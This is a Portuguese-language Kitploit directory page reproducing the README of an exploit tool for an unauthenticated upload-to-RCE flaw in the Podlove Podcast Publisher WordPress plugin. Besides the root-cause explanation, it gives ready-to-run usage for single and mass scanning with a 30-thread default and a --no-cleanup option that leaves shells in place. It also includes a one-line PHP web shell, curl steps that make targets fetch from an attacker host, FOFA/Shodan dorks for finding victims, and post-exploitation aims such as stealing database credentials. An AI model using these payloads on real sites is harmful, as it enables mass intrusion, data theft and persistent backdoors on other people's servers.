Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher RCE por Upload de Arquivo Não Autenticado através da Incompatibilidade entre is_image() e extract_file_extension() | CVSS 9.8 | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-13001
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher RCE por Upload de Arquivo Não Autenticado através da Incompatibilidade entre is_image() e extract_file_extension() | CVSS 9.8

Ver Repositório
21há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-13001 — Podlove Podcast Publisher: Upload Não Autenticado de Arquivo com RCE

Incompatibilidade entre is_image() e extract_file_extension() → Upload de PHP Poliglota


Visão Geral

CVE-2026-13001 é uma vulnerabilidade crítica (CVSS 9.8) de upload de arquivo arbitrário não autenticado no plugin WordPress Podlove Podcast Publisher versões ≤ 4.5.1.

A vulnerabilidade explora uma incompatibilidade entre duas funções internas que analisam extensões de arquivo de forma diferente:

  • usa que → URL aparece como ✅ (imagem válida)
is_image()
basename()
inclui strings de consulta
shell.php?.gif
.gif
  • extract_file_extension() usa apenas o caminho de parse_url() → retorna .php → arquivo salvo com extensão .php 🚨
  • Atacantes fazem upload de poliglotas GIF89a PHP (cabeçalho GIF válido + PHP embutido) que passam na validação de imagem, mas executam como PHP quando acessados.

    Versões Afetadas

    VersãoEstado
    ≤ 4.5.1Vulnerável
    4.5.2+Corrigida

    Descoberto por: Talal Nasraddeen via Wordfence (14 de julho de 2026)


    Mecanismo da Vulnerabilidade

    Causa Raiz

    root@kitploit:~
    // is_image() — usa basename() que inclui query string
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
    
    root@kitploit:~
    // extract_file_extension() — usa apenas o caminho de parse_url()
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 SALVO COMO .php
    

    Fluxo do Ataque

    root@kitploit:~
    1. Atacante hospeda poliglota GIF89a PHP em attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. is_image() valida extensão .gif → PASSA
    4. Plugin baixa o arquivo → salva como test_original.php em cache/
    5. Atacante acessa /wp-content/cache/podlove/{hash}/test_original.php
    6. PHP executa → RCE
    

    Instalação

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    Uso

    root@kitploit:~
    # Alvo único
    python cve_2026_13001.py -t target.com
    
    # Varredura em massa
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # URL de payload personalizada
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # Modo debug, manter shells
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    Argumentos

    root@kitploit:~
      -t, --target       Alvo único (domínio ou IP)
      -f, --file         Lista de alvos, um por linha
      -o, --output       Salvar URLs de RCE em arquivo
      --payload-url      URL hospedando o poliglota PHP (padrão: GitHub raw)
      --threads          Trabalhadores concorrentes (padrão: 30)
      --no-cleanup       Manter shells no alvo
      --debug            Mostrar cada requisição HTTP
      -v, --verbose      Saída detalhada
    

    Prova de Conceito

    Alvo Único

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : YES v4.5.1
      Upload     : YES
      RCE        : YES
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    Varredura em Massa

    root@kitploit:~
      Targets: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    Exploração Manual

    Passo 1 — Hospede um shell poliglota

    root@kitploit:~
    // shell.php — salve e hospede no seu servidor
    GIF89a<?php system($_GET['c']); ?>
    

    Passo 2 — Codifique em hex a URL com bypass

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    Passo 3 — Dispare o download em cache

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    Passo 4 — Acesse o shell

    root@kitploit:~
    # Caminho: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    Impacto

    A exploração bem-sucedida resulta em execução remota de código como o usuário do servidor web:

    • Extrair wp-config.php → credenciais do banco de dados
    • Acessar todo conteúdo do WordPress, usuários e dados de plugins
    • Implantar backdoors persistentes
    • Pivotar para redes internas

    Aviso Legal

    APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS.

    Os autores não assumem nenhuma responsabilidade pelo uso indevido.


    Referências

    RecursoLink
    Aviso da Wordfencewordfence.com
    Comunicado de Segurança do Podlovepodlove.org
    Entrada no NVDCVE-2026-13001
    PoC por Raimu0x19GitHub
    PesquisadorTalal Nasraddeen

    Não afiliado ao Podlove.

    Baixar ferramenta